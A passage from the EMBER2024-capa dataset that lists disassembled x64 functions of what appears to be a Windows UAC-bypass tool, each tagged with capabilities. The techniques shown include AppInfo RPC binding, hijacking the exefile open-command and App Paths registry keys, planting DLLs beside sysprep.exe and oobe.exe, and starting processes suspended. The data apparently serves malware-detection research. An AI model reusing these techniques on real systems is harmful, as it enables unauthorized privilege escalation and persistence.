joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016848
Capabilities:
Delete registry value
Set registry value

Disassembly:
jmp 0x14003bee0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1b8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x190], 0
jne 0x14003bf59
jmp 0x14003c067
cmp qword [rbp + 0x188], 0
jne 0x14003bf73
lea rax, str.Environment
mov qword [rbp + 0x88], rax
jmp 0x14003bf81
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x198], 0
jne 0x14003bf99
cmp dword [rbp + 0x180], 0
jne 0x14003bf99
jmp 0x14003c067
lea r8, [rbp + 0x48]
mov rdx, qword [rbp + 0x88]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x14003bfba
jmp 0x14003c067
cmp dword [rbp + 0x180], 0
je 0x14003bff9
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x14003bfe4
mov dword [rbp + 0x154], 1
jmp 0x14003bfee
mov dword [rbp + 0x154], 0
mov eax, dword [rbp + 0x154]
mov dword [rbp + 4], eax
jmp 0x14003c05d
mov rcx, qword [rbp + 0x198]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x198]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003c04a
mov dword [rbp + 0x154], 1
jmp 0x14003c054
mov dword [rbp + 0x154], 0
mov eax, dword [rbp + 0x154]
mov dword [rbp + 4], eax
cmp dword [rbp + 0x24], 0
jne 0x14003bf4a
cmp qword [rbp + 0x48], 0
je 0x14003c082
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140054550]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400168bb
Capabilities:
Delete file

Disassembly:
jmp 0x140032480
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x23a8
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x8ea
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x23c8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x2378], rax
lea rcx, [0x14006d1e6]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0x8000ffff
mov qword [rbp + 0x68], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x44], eax
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x1530]
call fcn.14001616d
lea rdx, str.wbemcomn.dll
lea rcx, [rbp + 0x1530]
call fcn.1400165e1
lea rcx, [rbp + 0x1530]
call fcn.14001680c
mov qword [rbp + 0x1508], rax
cmp qword [rbp + 0x1508], 0x104
jbe 0x140032552
mov dword [rbp + 4], 0xc000003e
jmp 0x1400326da
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x1960]
call fcn.14001616d
lea rdx, str.wbem_
lea rcx, [rbp + 0x1960]
call fcn.1400165e1
lea rdx, str.wbemcomn.dll
lea rcx, [rbp + 0x1960]
call fcn.1400165e1
lea rcx, [rbp + 0x1960]
call fcn.14001680c
mov qword [rbp + 0x1508], rax
cmp qword [rbp + 0x1508], 0x104
jbe 0x1400325b9
jmp 0x1400326da
lea r9, [rbp + 0x68]
mov r8d, 4
lea rdx, section..rdata
lea rcx, str.1BA783C1_2A30_4ad3_B928_A9A46C604C28
call fcn.140016889
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x1400325e4
jmp 0x1400326da
cmp qword [rbp + 0x68], 0
jne 0x1400325f7
mov dword [rbp + 0x24], 0x8007000e
jmp 0x1400326da
mov r8d, dword [rbp + 0x23a8]
mov rdx, qword [rbp + 0x23a0]
lea rcx, [rbp + 0x1530]
call fcn.140016ad7
test eax, eax
je 0x1400326d0
mov edx, 0x1458
lea rcx, [rbp + 0x90]
call fcn.140016c2b
mov dword [rbp + 0x90], 0x200
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x29c]
call fcn.14001616d
lea rdx, [rbp + 0x1960]
lea rcx, [rbp + 0x94]
call fcn.14001616d
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jl 0x1400326c3
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x1960]
call fcn.14001616d
lea rdx, str.tpminit.exe
lea rcx, [rbp + 0x1960]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x1960]
call fcn.140016a7d
test eax, eax
je 0x1400326c3
mov dword [rbp + 4], 0
lea rcx, [rbp + 0x1530]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
test eax, eax
jne 0x1400324f7
cmp qword [rbp + 0x68], 0
je 0x1400326ef
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp dword [rbp + 0x44], 0
jne 0x1400326fb
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400505b0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x2378]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x2388]
pop rdi
pop rbp
ret
Function at 0x1400168f7
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
jmp 0x1400264b0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x508
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x142
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x528]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x4a8], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x64], 0x80004005
mov qword [rbp + 0xa8], 0
mov dword [rbp + 0xc4], 0
mov dword [rbp + 0xe4], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x84], eax
lea rdx, str.SoftwareClassesexefile
lea rcx, [rbp + 0x110]
call fcn.14001616d
lea rdx, str._shellopencommand
lea rcx, [rbp + 0x110]
call fcn.1400165e1
lea r9, [rbp + 0x48]
mov r8d, 4
lea rdx, [0x1400440c0]
lea rcx, str.434A6274_C539_4E99_88FC_44206D942775
call fcn.140016889
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x140026693
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x110]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140026685
mov rcx, qword [rbp + 0x4d0]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0xc4]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x4d0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140026678
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x24], 1
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x140026676
mov dword [rbp + 4], 0
jmp 0x140026685
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp dword [rbp + 0xe4], 1
jne 0x1400266b1
lea rdx, str.SoftwareClassesexefile
mov rcx, 0xffffffff80000001
call fcn.140016046
jmp 0x1400266d1
cmp dword [rbp + 0x24], 0
je 0x1400266d1
lea r8, [0x140047438]
lea rdx, [rbp + 0x110]
mov rcx, 0xffffffff80000001
call fcn.1400167c6
cmp dword [rbp + 0x84], 0
jne 0x1400266e0
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004d2a0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x4a8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x4b8]
pop rdi
pop rbp
ret
Function at 0x140016910
Capabilities:
Bypass uac via rpc

Disassembly:
jmp 0x14001cd60
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x14006d06e]
call fcn.140016276
mov dword [rbp + 4], 0x6e6
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov dword [rbp + 0xc4], 0x44
cmp qword [rbp + 0x1c0], 0
je 0x14001cdee
mov rax, qword [rbp + 0x1c0]
mov qword [rax], 0
mov edx, 0x28
lea rcx, [rbp + 0x28]
call fcn.140016c2b
lea rax, [rbp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ncalrpc
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x14001cf4a
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0x68]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
cmp dword [rbp + 4], 0
jne 0x14001cf4a
mov eax, dword [rbp + 0xc4]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x14001cf43
lea r9, [rbp + 0xc4]
mov r8, qword [rbp + 0xa8]
xor edx, edx
mov ecx, SafeArrayGetElement
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x14001cf2b
mov dword [rbp + 0x28], 3
mov dword [rbp + 0x34], 3
mov dword [rbp + 0x2c], 1
mov dword [rbp + 0x30], 0
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xa
mov r8d, 6
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x14001cf29
mov rax, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x88]
mov qword [rax], rcx
mov qword [rbp + 0x88], 0
jmp 0x14001cf34
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14001cf4a
mov dword [rbp + 4], 8
cmp qword [rbp + 0x88], 0
je 0x14001cf61
lea rcx, [rbp + 0x88]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x140044a28]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140016951
Capabilities:
Copy file

Disassembly:
jmp 0x140031fa0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6e8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1ba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x708]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x6b8], rax
lea rcx, [0x14006d1d3]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov edx, 0x20a
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, str.unbcl.dll
lea rcx, [rbp + 0x30]
call fcn.1400165e1
mov r8d, dword [rbp + 0x6e8]
mov rdx, qword [rbp + 0x6e0]
lea rcx, [rbp + 0x30]
call fcn.140016ad7
test eax, eax
jne 0x140032050
mov dword [rbp + 4], 0xc0000001
jmp 0x1400321b0
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400168de
test eax, eax
jne 0x140032079
mov dword [rbp + 4], 0xc0000001
jmp 0x1400321b0
mov edx, 0x20a
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, str.sysprep_
lea rcx, [rbp + 0x30]
call fcn.1400165e1
lea rdx, str.sysprep.exe
lea rcx, [rbp + 0x30]
call fcn.1400165e1
mov edx, 0x20a
lea rcx, [rbp + 0x260]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.14001616d
lea rdx, str.oobe.exe
lea rcx, [rbp + 0x260]
call fcn.1400165e1
xor r8d, r8d
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140032124
mov dword [rbp + 4], 0xc0000001
jmp 0x1400321b0
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.1400168de
test eax, eax
jne 0x14003214d
mov dword [rbp + 4], 0xc0000022
jmp 0x1400321b0
mov edx, 0x20a
lea rcx, [rbp + 0x260]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.14001616d
lea rdx, str.oobe.exe
lea rcx, [rbp + 0x260]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x260]
call fcn.140016a7d
test eax, eax
je 0x1400321a6
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140031ff2
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x6b8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x6c8]
pop rdi
pop rbp
ret
Function at 0x1400169d3
Capabilities:
Delete file

Disassembly:
jmp 0x140026370
push rbp
push rdi
sub rsp, 0x6d8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1b6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x6a8], rax
lea rcx, [0x14006d187]
call fcn.140016276
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rcx, [rbp + 0x30]
call fcn.14001680c
mov qword [rbp + 8], rax
lea rdx, str.kmkze.msc
lea rcx, [rbp + 0x30]
call fcn.1400165e1
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0x410
jae 0x140026408
jmp 0x14002640d
call fcn.14001668b
xor eax, eax
mov rcx, qword [rbp + 0x698]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.Fubuki.exe
lea rcx, [rbp + 0x30]
call fcn.1400165e1
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14004a890]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x6a8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x6b8]
pop rdi
pop rbp
ret
Function at 0x140016a2d
Capabilities:
Access pe header

Disassembly:
jmp 0x14003c490
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
lea rcx, [0x14006d245]
call fcn.140016276
mov edx, dword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call fcn.1400160dc
mov dword [rbp + 0x44], eax
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14003c503
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x24], eax
jmp 0x14003c50c
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x44], eax
jne 0x14003c520
mov dword [rbp + 0x114], 1
jmp 0x14003c52a
mov dword [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140016a3c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
jmp 0x14003b790
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x60]
mov rdi, rsp
mov ecx, 0x9a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x288]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x124], 0x4000020
cmp qword [rbp + 0x238], 0
je 0x14003b817
mov rax, qword [rbp + 0x238]
mov qword [rax], 0
cmp qword [rbp + 0x220], 0
jne 0x14003b828
xor eax, eax
jmp 0x14003b939
mov rcx, qword [rbp + 0x220]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x48]
call fcn.14001687f
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14003b858
xor eax, eax
jmp 0x14003b939
mov rdx, qword [rbp + 0x220]
mov rcx, qword [rbp + 0x28]
call fcn.14001616d
mov edx, reloc.OLEAUT32.dll_SafeArrayGetElement
lea rcx, [rbp + 0xf8]
call fcn.140016c2b
mov edx, 0x68
lea rcx, [rbp + 0x70]
call fcn.140016c2b
mov dword [rbp + 0x70], 0x68
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [rbp + 0x124]
or eax, 4
lea rcx, [rbp + 0xf8]
mov qword [rsp + 0x50], rcx
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp + 0x228]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x230]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14003b929
cmp qword [rbp + 0x238], 0
je 0x14003b91c
mov rax, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x100]
mov qword [rax], rcx
jmp 0x14003b929
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call fcn.140016032
mov rax, qword [rbp + 0xf8]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x140016ad7
Capabilities:
Write file on windows

Disassembly:
jmp 0x14003c8a0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov dword [rbp + 0x24], 0
cmp qword [rbp + 0x128], 0
je 0x14003c90b
cmp dword [rbp + 0x130], 0
jne 0x14003c912
xor eax, eax
jmp 0x14003c9be
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x14003c97f
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14003c997
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile
call fcn.14001629e
xor eax, eax
jmp 0x14003c9be
mov eax, dword [rbp + 0x130]
cmp dword [rbp + 0x24], eax
jne 0x14003c9ae
mov dword [rbp + 0xf4], 1
jmp 0x14003c9b8
mov dword [rbp + 0xf4], 0
mov eax, dword [rbp + 0xf4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400534b0]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140016b2c
Capabilities:
Delete registry key
Persist via app paths registry key
Set registry value

Disassembly:
jmp 0x140023450
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x6e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14006d14e]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
cmp qword [rbp + 0x188], 0
jne 0x1400234cc
mov eax, 0xc00000f0
jmp 0x14002362d
cmp qword [rbp + 0x190], 0
jne 0x1400234e0
mov eax, 0xc00000f1
jmp 0x14002362d
mov rcx, qword [rbp + 0x188]
call fcn.14001680c
lea rax, [rax + rax + 0x6c]
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x88]
call fcn.14001687f
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140023514
jmp 0x14002361a
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
mov rcx, qword [rbp + 0x68]
call fcn.14001616d
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x68]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140023610
mov rcx, qword [rbp + 0x180]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x88], rax
mov eax, dword [rbp + 0x88]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400235f5
xor edx, edx
mov rcx, qword [rbp + 0x190]
call fcn.140016a7d
test eax, eax
je 0x1400235f5
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x68]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor eax, eax
test eax, eax
jne 0x1400234e0
cmp qword [rbp + 0x68], 0
je 0x14002362a
mov rcx, qword [rbp + 0x68]
call fcn.140016032
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140048840]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140016b40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x140039230
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov qword [rbp + 0x78], 0
mov dword [rbp + 0x94], 0
cmp qword [rbp + 0x198], 0
je 0x14003933c
mov eax, 8
imul rax, rax, 0
mov qword [rbp + rax + 0x28], 0xa
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x190]
mov qword [rbp + rax + 0x28], rcx
mov eax, 8
imul rax, rax, 2
mov qword [rbp + rax + 0x28], 0
lea r9, [rbp + 0x58]
mov r8d, 3
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14003933c
lea r9, [rbp + 0x94]
lea r8, [rbp + 0x78]
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ntdll.dll_LdrAccessResource]
